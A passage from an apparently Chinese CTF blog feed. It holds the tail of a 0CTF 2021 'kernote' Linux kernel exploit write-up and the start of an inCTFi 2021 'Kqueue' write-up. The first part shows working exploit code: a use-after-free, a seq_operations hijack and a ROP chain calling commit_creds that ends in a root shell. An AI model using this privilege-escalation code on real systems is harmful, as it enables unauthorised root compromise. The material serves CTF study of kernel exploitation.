punctuation">(</span><span class="token string">"prepare_kernel_cred = %#lx\n"</span><span class="token punctuation">,</span> prepare_kernel_cred<span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"creating UAF..."</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> NOTE_ADD<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> NOTE_SELECT<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> NOTE_DELETE<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token punctuation">(</span>seq_fd <span class="token operator">=</span> <span class="token function">open</span><span class="token punctuation">(</span><span class="token string">"/proc/self/stat"</span><span class="token punctuation">,</span> O_RDONLY<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&lt;</span> <span class="token number">0</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token function">errExit</span><span class="token punctuation">(</span><span class="token string">"open stat"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> NOTE_EDIT<span class="token punctuation">,</span> <span class="token number">0xffffffff810b345b</span> <span class="token operator">+</span> kernel_offset<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// add rsp, 0x190 ; pop, pop, pop ; ret</span>    <span class="token function">puts</span><span class="token punctuation">(</span><span class="token string">"hijack seq operation"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">// pt_regs rsp offset 0x198</span>    <span class="token function">__asm__</span><span class="token punctuation">(</span>        <span class="token string">"mov r15,   0xbeefdead;"</span>        <span class="token string">"mov r14,   0x11111111;"</span>        <span class="token string">"mov r13,   pop_rdi_ret;"</span>         <span class="token string">"mov r12,   init_cred;"</span> <span class="token comment">// start at here</span>        <span class="token string">"mov rbp,   commit_creds;"</span>        <span class="token string">"mov rbx,   swapgs_restore_regs_and_return_to_usermode;"</span>        <span class="token string">"mov r11,   0x66666666;"</span>        <span class="token string">"mov r10,   0x77777777;"</span>        <span class="token string">"mov r9,    0x88888888;"</span>        <span class="token string">"mov r8,    0x99999999;"</span>        <span class="token string">"xor rax,   rax;"</span>        <span class="token string">"mov rcx,   0xaaaaaaaa;"</span>        <span class="token string">"mov rdx,   8;"</span>        <span class="token string">"mov rsi,   rsp;"</span>        <span class="token string">"mov rdi,   seq_fd;"</span>        <span class="token string">"syscall"</span>    <span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">getRootShell</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h2 id="回到一切开始前"><a href="#回到一切开始前" class="headerlink" title="回到一切开始前"></a>回到一切开始前</h2><p>在 leak 和 劫持 seq_operations 时有一个小细节，就是因为 <strong>SLAB_FREELIST_RANDOM</strong> 的开启，无法预测从 free_list 中分配到 object</p><p>exp 中下面怎么可以确定新分配的 ldt_struct 就一定是刚释放的 object 呢？</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> NOTE_ADD<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> NOTE_SELECT<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">ioctl</span><span class="token punctuation">(</span>fd<span class="token punctuation">,</span> NOTE_DELETE<span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token function">syscall</span><span class="token punctuation">(</span>SYS_modify_ldt<span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token operator">&amp;</span>desc<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span>desc<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// new ldt_struct</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>首先的猜想是 free_list 只有这么一个 object，随后我尝试了在 exp 开头通过 <code>fd = open(&quot;/proc/self/stat&quot;); close(fd);</code> 构造多个 seq_operations 并释放，最后发现 exp 仍可以正常 leak，看样子不是这个问题</p><p>最后求助于源码，发现 slab 分配器在分配和释放时存在一个 cpu cache，分配和释放都会先操作这个 cache</p><p>在调用 <a href="https://elixir.bootlin.com/linux/v5.11.9/source/mm/slab.c#L3031"><code>____cache_alloc</code></a> 时，可以发现 object 从 cpu cache 中分配</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">static</span> <span class="token keyword">inline</span> <span class="token keyword">void</span> <span class="token operator">*</span><span class="token function">____cache_alloc</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">kmem_cache</span> <span class="token operator">*</span>cachep<span class="token punctuation">,</span> <span class="token class-name">gfp_t</span> flags<span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token keyword">void</span> <span class="token operator">*</span>objp<span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token class-name">array_cache</span> <span class="token operator">*</span>ac<span class="token punctuation">;</span><span class="token function">check_irq_off</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>ac <span class="token operator">=</span> <span class="token function">cpu_cache_get</span><span class="token punctuation">(</span>cachep<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">likely</span><span class="token punctuation">(</span>ac<span class="token operator">-></span>avail<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>ac<span class="token operator">-></span>touched <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>objp <span class="token operator">=</span> ac<span class="token operator">-></span>entry<span class="token punctuation">[</span><span class="token operator">--</span>ac<span class="token operator">-></span>avail<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token function">STATS_INC_ALLOCHIT</span><span class="token punctuation">(</span>cachep<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">goto</span> out<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token keyword">return</span> objp<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>释放时，当 cpu_cache 满了，调用 <code>cache_flusharray</code> 把 cpu_cache 里的 object 扔到 slab free_list 里，最后再把当前要释放的 object 扔到 cpu_cache 里</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">void</span> <span class="token function">___cache_free</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">kmem_cache</span> <span class="token operator">*</span>cachep<span class="token punctuation">,</span> <span class="token keyword">void</span> <span class="token operator">*</span>objp<span class="token punctuation">,</span><span class="token keyword">unsigned</span> <span class="token keyword">long</span> caller<span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token keyword">struct</span> <span class="token class-name">array_cache</span> <span class="token operator">*</span>ac <span class="token operator">=</span> <span class="token function">cpu_cache_get</span><span class="token punctuation">(</span>cachep<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token keyword">if</span> <span class="token punctuation">(</span>ac<span class="token operator">-></span>avail <span class="token operator">&lt;</span> ac<span class="token operator">-></span>limit<span class="token punctuation">)</span> <span class="token punctuation">&#123;</span><span class="token function">STATS_INC_FREEHIT</span><span class="token punctuation">(</span>cachep<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span><span class="token function">STATS_INC_FREEMISS</span><span class="token punctuation">(</span>cachep<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">cache_flusharray</span><span class="token punctuation">(</span>cachep<span class="token punctuation">,</span> ac<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">&#125;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token function">__free_one</span><span class="token punctuation">(</span>ac<span class="token punctuation">,</span> objp<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token keyword">static</span> __always_inline <span class="token keyword">void</span> <span class="token function">__free_one</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">array_cache</span> <span class="token operator">*</span>ac<span class="token punctuation">,</span> <span class="token keyword">void</span> <span class="token operator">*</span>objp<span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token comment">/* Avoid trivial double-free. */</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">IS_ENABLED</span><span class="token punctuation">(</span>CONFIG_SLAB_FREELIST_HARDENED<span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span>    <span class="token function">WARN_ON_ONCE</span><span class="token punctuation">(</span>ac<span class="token operator">-></span>avail <span class="token operator">></span> <span class="token number">0</span> <span class="token operator">&amp;&amp;</span> ac<span class="token operator">-></span>entry<span class="token punctuation">[</span>ac<span class="token operator">-></span>avail <span class="token operator">-</span> <span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">==</span> objp<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token keyword">return</span><span class="token punctuation">;</span>ac<span class="token operator">-></span>entry<span class="token punctuation">[</span>ac<span class="token operator">-></span>avail<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> objp<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>所以在这个过程中，分配的 object 一定是最后一次释放的 object，没有受到 SLAB_FREELIST_RANDOM 的影响</p><p>于此同时也可以看到，slab 分配器的 SLAB_FREELIST_HARDENED 机制不同于文章开头对于 slub 分配器该机制描述的那样，更具体的内容可以自行查阅源码</p><h2 id="参考"><a href="#参考" class="headerlink" title="参考"></a>参考</h2><p>文中未明确提到的参考链接如下：</p><ol><li><a href="https://arttnba3.cn/2021/10/31/CTF-0X05-TCTF2021_FINAL/#0x02-kernote">https://arttnba3.cn/2021/10/31/CTF-0X05-TCTF2021_FINAL/#0x02-kernote</a></li><li><a href="https://github.com/YZloser/My-CTF-Challenges/tree/master/0ctf-2021-final/kernote">https://github.com/YZloser/My-CTF-Challenges/tree/master/0ctf-2021-final/kernote</a></li><li><a href="https://www.anquanke.com/post/id/200161">https://www.anquanke.com/post/id/200161</a></li><li><a href="https://cateee.net/lkddb/web-lkddb/HARDENED_USERCOPY.html">https://cateee.net/lkddb/web-lkddb/HARDENED_USERCOPY.html</a></li><li><a href="https://blog.csdn.net/pwl999/article/details/112055498">https://blog.csdn.net/pwl999/article/details/112055498</a></li></ol>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;借此题来学习下 modify_ldt 在 linux kernel 中的利用思路&lt;/p&gt;
    
    </summary>
    
    
      <category term="kernel" scheme="http://www.xi4oyu.top/categories/kernel/"/>
    
    
      <category term="kernel" scheme="http://www.xi4oyu.top/tags/kernel/"/>
    
      <category term="ctf" scheme="http://www.xi4oyu.top/tags/ctf/"/>
    
  </entry>
  
  <entry>
    <title>2021-inCTFi-Kqueue</title>
    <link href="http://www.xi4oyu.top/f6f424b7/"/>
    <id>http://www.xi4oyu.top/f6f424b7/</id>
    <published>2022-03-10T07:32:00.000Z</published>
    <updated>2022-03-10T07:32:00.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><p>去年参加的一场 CTF，当时不怎么会 kernel，现在想深入学习下 kernel，回过头来看看这道题</p><span id="more"></span><h2 id="环境-amp-一些问题"><a href="#环境-amp-一些问题" class="headerlink" title="环境 &amp; 一些问题"></a>环境 &amp; 一些问题</h2><p>题目的附件可以在<a href="https://github.com/teambi0s/InCTFi/tree/master/2021/Pwn/Kqueue">官方题目仓库</a>里找到</p><p>需要注意的几件事情：</p><ol><li>题目的环境是用 buildroot，登陆用户名是 <code>ctf</code>，密码是 <code>kqueue</code>（可以在官方的 exp.py 里面找到）</li><li>解包/重新打包 rootfs.cpio 的时候记得用 <strong>root</strong> 权限，不然启动的时候会有奇奇怪怪的权限或者文件丢失的问题</li></ol><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>qemu 启动参数</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token shebang important">#!/bin/bash</span><span class="token builtin class-name">exec</span> qemu-system-x86_64 <span class="token punctuation">\</span>    -cpu kvm64 <span class="token punctuation">\</span>    -m <span class="token number">512</span> <span class="token punctuation">\</span>    -nographic <span class="token punctuation">\</span>    -kernel <span class="token string">"bzImage"</span> <span class="token punctuation">\</span>    -append <span class="token string">"console=ttyS0 panic=-1 pti=off kaslr quiet"</span> <span class="token punctuation">\</span>    -monitor /dev/null <span class="token punctuation">\</span>    -initrd <span class="token string">"./rootfs.cpio.pack"</span> <span class="token punctuation">\</span>    -net user <span class="token punctuation">\</span>    -net nic<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>开启了 kaslr，关闭了 kpti，而且还没开启 SMAP，SMEP，意味着内核可以访问用户空间代码和数据，可以 ret2usr</p><p>内核模块直接提供了源码</p><p>题目创建了一个设备，可以对这个设备进行 ioctl 调用</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">struct</span> <span class="token class-name">miscdevice</span> kqueue_device <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token punctuation">.</span>minor <span class="token operator">=</span> MISC_DYNAMIC_MINOR<span class="token punctuation">,</span>    <span class="token punctuation">.</span>name <span class="token operator">=</span> <span class="token string">"kqueue"</span><span class="token punctuation">,</span>    <span class="token punctuation">.</span>fops <span class="token operator">=</span> <span class="token operator">&amp;</span>kqueue_fops<span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>ioctl 通过一个 <code>request_t</code> 结构体进行传参</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">typedef</span> <span class="token keyword">struct</span><span class="token punctuation">&#123;</span>    <span class="token class-name">uint32_t</span> max_entries<span class="token punctuation">;</span>    <span class="token class-name">uint16_t</span> data_size<span class="token punctuation">;</span>    <span class="token class-name">uint16_t</span> entry_idx<span class="token punctuation">;</span>    <span class="token class-name">uint16_t</span> queue_idx<span class="token punctuation">;</span>    <span class="token keyword">char</span><span class="token operator">*</span> data<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token class-name">request_t</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>此外通过 <code>cmd</code> 参数分别实现管理多个队列的增删改查</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">static</span> noinline <span class="token keyword">long</span> <span class="token function">kqueue_ioctl</span><span class="token punctuation">(</span><span class="token keyword">struct</span> <span class="token class-name">file</span> <span class="token operator">*</span>file<span class="token punctuation">,</span> <span class="token keyword">unsigned</span> <span class="token keyword">int</span> cmd<span class="token punctuation">,</span> <span class="token keyword">unsigned</span> <span class="token keyword">long</span> arg<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">long</span> result<span class="token punctuation">;</span>    <span class="token class-name">request_t</span> request<span class="token punctuation">;</span>        <span class="token function">mutex_lock</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>operations_lock<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">copy_from_user</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">void</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token operator">&amp;</span>request<span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token keyword">void</span> <span class="token operator">*</span><span class="token punctuation">)</span>arg<span class="token punctuation">,</span> <span class="token keyword">sizeof</span><span class="token punctuation">(</span><span class="token class-name">request_t</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token function">err</span><span class="token punctuation">(</span><span class="token string">"[-] copy_from_user failed"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">goto</span> ret<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">switch</span><span class="token punctuation">(</span>cmd<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token keyword">case</span> CREATE_KQUEUE<span class="token operator">:</span>            result <span class="token operator">=</span> <span class="token function">create_kqueue</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">break</span><span class="token punctuation">;</span>        <span class="token keyword">case</span> DELETE_KQUEUE<span class="token operator">:</span>            result <span class="token operator">=</span> <span class="token function">delete_kqueue</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">break</span><span class="token punctuation">;</span>        <span class="token keyword">case</span> EDIT_KQUEUE<span class="token operator">:</span>            result <span class="token operator">=</span> <span class="token function">edit_kqueue</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">break</span><span class="token punctuation">;</span>        <span class="token keyword">case</span> SAVE<span class="token operator">:</span>            result <span class="token operator">=</span> <span class="token function">save_kqueue_entries</span><span class="token punctuation">(</span>request<span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">break</span><span class="token punctuation">;</span>        <span class="token keyword">default</span><span class="token operator">:</span>            result <span class="token operator">=</span> INVALID<span class="token punctuation">;</span>            <span class="token keyword">break</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>ret<span class="token operator">:</span>     <span class="token function">mutex_unlock</span><span class="token punctuation">(</span><span class="token operator">&amp;</span>operations_lock<span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token keyword">return</span> result<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>队列的存储结构体如下：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">typedef</span> <span class="token keyword">struct</span><span class="token punctuation">&#123;</span>    <span class="token class-name">uint16_t</span> data_size<span class="token punctuation">;</span>    <span class="token class-name">uint64_t</span> queue_size<span class="token punctuation">;</span> <span class="token comment">/* This needs to handle larger numbers */</span>    <span class="token class-name">uint32_t</span> max_entries<span class="token punctuation">;</span>    <span class="token class-name">uint16_t</span> idx<span class="token punctuation">;</span>    <span class="token keyword">char</span><span class="token operator">*</span> data<span class="token punctuation">;</span><span class="token punctuation">&#125;</span>queue<span class="token punctuation">;</span><span class="token keyword">struct</span> <span class="token class-name">queue_entry</span><span class="token punctuation">&#123;</span>    <span class="token class-name">uint16_t</span> idx<span class="token punctuation">;</span>    <span class="token keyword">char</span> <span class="token operator">*</span>data<span class="token punctuation">;</span>    queue_entry <span class="token operator">*</span>next<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>create 操作：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token keyword">static</span> noinline <span class="token keyword">long</span> <span class="token function">create_kqueue</span><span class="token punctuation">(</span><span class="token class-name">request_t</span> request<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">long</span> result <span class="token operator">=</span> INVALID<span class="token punctuation">;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>queueCount <span class="token operator">></span> MAX_QUEUES<span class="token punctuation">)</span>        <span class="token function">err</span><span class="token punctuation">(</span><span class="token string">"[-] Max queue count reached"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">/* You can't ask for 0 queues , how meaningless */</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>request<span class="token punctuation">.</span>max_entries<span class="token operator">&lt;</span><span class="token number">1</span><span class="token punctuation">)</span>        <span class="token function">err</span><span class="token punctuation">(</span><span class="token string">"[-] kqueue entries should be greater than 0"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">/* Asking for too much is also not good */</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>request<span class="token punctuation">.</span>data_size<span class="token operator">></span>MAX_DATA_SIZE<span class="token punctuation">)</span>        <span class="token function">err</span><span class="token punctuation">(</span><span class="token string">"[-] kqueue data size exceed"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">/* Initialize kqueue_entry structure */</span>    queue_entry <span class="token operator">*</span>kqueue_entry<span class="token punctuation">;</span>    <span class="token comment">/* Check if multiplication of 2 64 bit integers results in overflow */</span>    ull space <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">__builtin_umulll_overflow</span><span class="token punctuation">(</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span>queue_entry<span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token punctuation">(</span>request<span class="token punctuation">.</span>max_entries<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token operator">&amp;</span>space<span class="token punctuation">)</span> <span class="token operator">==</span> true<span class="token punctuation">)</span>        <span class="token function">err</span><span class="token punctuation">(</span><span class="token string">"[-] Integer overflow"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">/* Size is the size of queue structure + size of entry * request entries */</span>    ull queue_size <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">__builtin_saddll_overflow</span><span class="token punctuation">(</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span>queue<span class="token punctuation">)</span><span class="token punctuation">,</span>space<span class="token punctuation">,</span><span class="token operator">&amp;</span>queue_size<span class="token punctuation">)</span> <span class="token operator">==</span> true<span class="token punctuation">)</span>        <span class="token function">err</span><span class="token punctuation">(</span><span class="token string">"[-] Integer overflow"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">/* Total size should not exceed a certain limit */</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>queue_size<span class="token operator">></span><span class="token keyword">sizeof</span><span class="token punctuation">(</span>queue<span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token number">0x10000</span><span class="token punctuation">)</span>        <span class="token function">err</span><span class="token punctuation">(</span><span class="token string">"[-] Max kqueue alloc limit reached"</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">/* All checks done , now call kzalloc */</span>    queue <span class="token operator">*</span>queue <span class="token operator">=</span> <span class="token function">validate</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">char</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token function">kmalloc</span><span class="token punctuation">(</span>queue_size<span class="token punctuation">,</span>GFP_KERNEL<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">/* Main queue can also store data */</span>    queue<span class="token operator">-></span>data <span class="token operator">=</span> <span class="token function">validate</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword">char</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token function">kmalloc</span><span class="token punctuation">(</span>request<span class="token punctuation">.</span>data_size<span class="token punctuation">,</span>GFP_KERNEL<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">/* Fill the remaining queue structure */</span>    queue<span class="token operator">-></span>data_size   <span class="token operator">=</span> request<span class="token punctuation">.</span>data_size<span class="token punctuation">;</span>    queue<span class="token operator">-></span>max_entries <span class="token operator">=</span> request<span class="token punctuation">.</span>max_entries<span class="token punctuation">;</span>    queue<span class="token operator">-></span>queue_size  <span class="token operator">=</span> queue_size<span class="token punctuation">;</span>    <span class="token comment">/* Get to the place from where memory has to be handled */</span>    kqueue_entry <span class="token operator">=</span> <span class="token punctuation">(</span>queue_entry <span class="token operator">*</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token class-name">uint64_t</span><span class="token punctuation">)</span><span class="token punctuation">(</span>queue <span class="token operator">+</span> <span class="token punctuation">(</span><span class="token keyword">sizeof</span><span class="token punctuation">(</span>queue<span class="token punctuation">)</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">/</span><span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token comment">/* Allocate all kqueue entries */</span>    queue_entry<span class="token operator">*</span> current_entry <span class="token operator">=</span> kqueue_entry<span class="token punctuation">;</span>    queue_entry<span class="token operator">*</span> prev_entry <span class="token operator">=</span> current_entry<span class="token punctuation">;</span>    <span class="token class-name">uint32_t</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>    <span class="token keyword">for</span><span class="token punctuation">(</span>i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>i<span class="token operator">&lt;</span>request<span class="token punctuation">.</span>max_entries<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token keyword">if</span><span class="token punctuation">(</span>i<span class="token operator">!=</span>request<span class="token punctuation">.</span>max_entries<span class="token punctuation">)</span>            prev_entry<span class="token operator">-></span>next <span class="token operator">=</span> <span class="token constant">NULL</span><span class="token punctuation">;</span>        current_entry<span class="token operator">-></span>idx <span class="token operator">=</span> i<span class="token punctuation">;</span>        current_entry<span class="token operator">-></span>data <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">char</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token 